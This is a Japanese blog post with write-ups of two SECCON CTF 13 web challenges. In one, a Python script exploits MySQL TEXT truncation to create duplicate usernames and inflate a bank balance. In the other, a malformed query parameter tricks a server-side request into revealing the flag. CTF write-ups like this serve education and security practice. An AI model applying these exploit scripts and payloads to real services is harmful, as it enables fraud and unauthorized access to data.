よーでんのブログ

One for All,All for わんわんお!

SECCON CTF 13 Quals Writeups

[web] Trillion Bank (web, warmup: 108 pt / 84 solves)

Can you get over $1,000,000,000,000?

アクセスしてみると、ユーザ登録を要求される。

Trillion Bank - TOP

登録したら10円が付与され、自由なユーザに送金できる。

Trillion Bank - Transfer

こういうのは真っ先に負数の送金が思い浮かぶが、ちゃんと対策されている。

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

送金時の処理を見てみると、なんだか変な方法で実装されているのが気になった。

  • idで検索した結果のユーザからbalanceをマイナス
  • nameで検索した結果のユーザにbalanceをプラス
    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

idの値が異なり、nameが重複したユーザを作成できればお金を無限に増やすことが可能であることがわかる。
nameの重複対策に関してはnames.hasで行っていて、同じ名前では登録ができないようになっている。

app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });

ユーザ登録のリクエストを同時に大量に送信するレースコンディションが思い浮かんだが、ローカルのコンテナでも成功しなかったのでその線は薄い。

テーブルの情報を見てみるとnameTEXT型である。
TEXT型は65535文字が最大文字数となっていて、MySQLは超過した文字を切り捨てるらしい。

  await db.query(
    `
    CREATE TABLE users (
      id INT AUTO_INCREMENT NOT NULL,
      name TEXT NOT NULL,
      balance BIGINT NOT NULL,
      PRIMARY KEY (id)
    )
  `.trim()
  );

ここでnames.hasでは別のユーザ名として扱われ、MySQLによって65535文字で切り捨てられたときに同じユーザ名となるように登録すれば良いと考えられる。

ユーザを3つ作成してお金を増やすのを自動化したらflagが得れる。

import random
import string

import requests

url = "http://trillion.seccon.games:3000"
# url = "http://localhost:3000"
u1_name = ''.join(random.choices(string.ascii_lowercase, k=65535))
u2_name = u1_name + "a"
u3_name = u1_name + "b"

u1 = requests.Session()
u1_balance = 10
u1.post(f"{url}/api/register", json={
    "name": u1_name
})

u2 = requests.Session()
u2_balance = 10
u2.post(f"{url}/api/register", json={
    "name": u2_name
})

u3 = requests.Session()
u3_balance = 10
u3.post(f"{url}/api/register", json={
    "name": u3_name
})

while u1_balance < 10000000000000:
    res = u2.post(f"{url}/api/transfer",
                  json={"recipientName": u1_name, "amount": u2_balance})
    u1_balance += u2_balance
    u3_balance += u2_balance
    res = u3.post(f"{url}/api/transfer",
                  json={"recipientName": u1_name, "amount": u3_balance})
    u1_balance += u3_balance
    u2_balance += u3_balance
    print(u1_balance, u2_balance, u3_balance)

print(u1.get(f"{url}/api/me").text)
$ py solve.py 
40 30 20
120 80 50
(snip)
25047307819600 15480087559200 9567220260410
{"id":1,"iat":1732620922,"balance":25047307819600,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}

self-ssrf (web: 193 pt / 23 solves)

Guess the flag, or abuse the /ssrf endpoint.

まず全てのリクエストの最初に、flagというクエリパラメータが含まれているかのチェックが入る。
含まれていない場合はその時点で/flag?flag=guess_the_flagへ誘導するレスポンスを送信する。

app.use("/", (req, res, next) => {
  if (req.query.flag === undefined) {
    const path = "/flag?flag=guess_the_flag";
    res.send(`Go to <a href="${path}">${path}</a>`);
  } else next();
});

正しいflagをqueryにつけて/flagにアクセスするとflagが得れることがわかる。

app.get("/flag", (req, res) => {
  res.send(
    req.query.flag === FLAG // Guess the flag
      ? `Congratz! The flag is '${FLAG}'.`
      : `<marquee>🚩🚩🚩</marquee>`,
  );
});

/ssrfというエンドポイントに、hostnameprotocolの条件に当てはまるリクエストを送信すると、正しいflagを付けて/flagのエンドポイントにリクエストを送信してくれる。

app.get("/ssrf", async (req, res) => {
  try {
    const url = new URL(req.url, LOCALHOST);

    if (url.hostname !== LOCALHOST.hostname) {
      res.send("Try harder 1");
      return;
    }
    if (url.protocol !== LOCALHOST.protocol) {
      res.send("Try harder 2");
      return;
    }

    url.pathname = "/flag";
    url.searchParams.append("flag", FLAG);
    res.send(await fetch(url).then((r) => r.text()));

/ssrfのエンドポイントを利用するためにはflagのクエリパラメータが必要となる。
/ssrf?flag=hoge

この時、/flagへ送信されるリクエストは下記のようになる。
/flag?flag=hoge&flag=SECCON{dummy}

最終的に二つあるflagパラメータが配列として処理されてしまうため、/flagのレスポンスではflagを得ることができないという形だ。

searchParams: URLSearchParams {
  "flag": [ "hoge", "SECCON{dummy}" ],
}

おそらくパースが変なんだろうなぁという気持ちでqsのテストケースからいろいろ試していたら刺さった。

github.com

http://self-ssrf.seccon.games:3000/ssrf?flag[=]=a

Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'.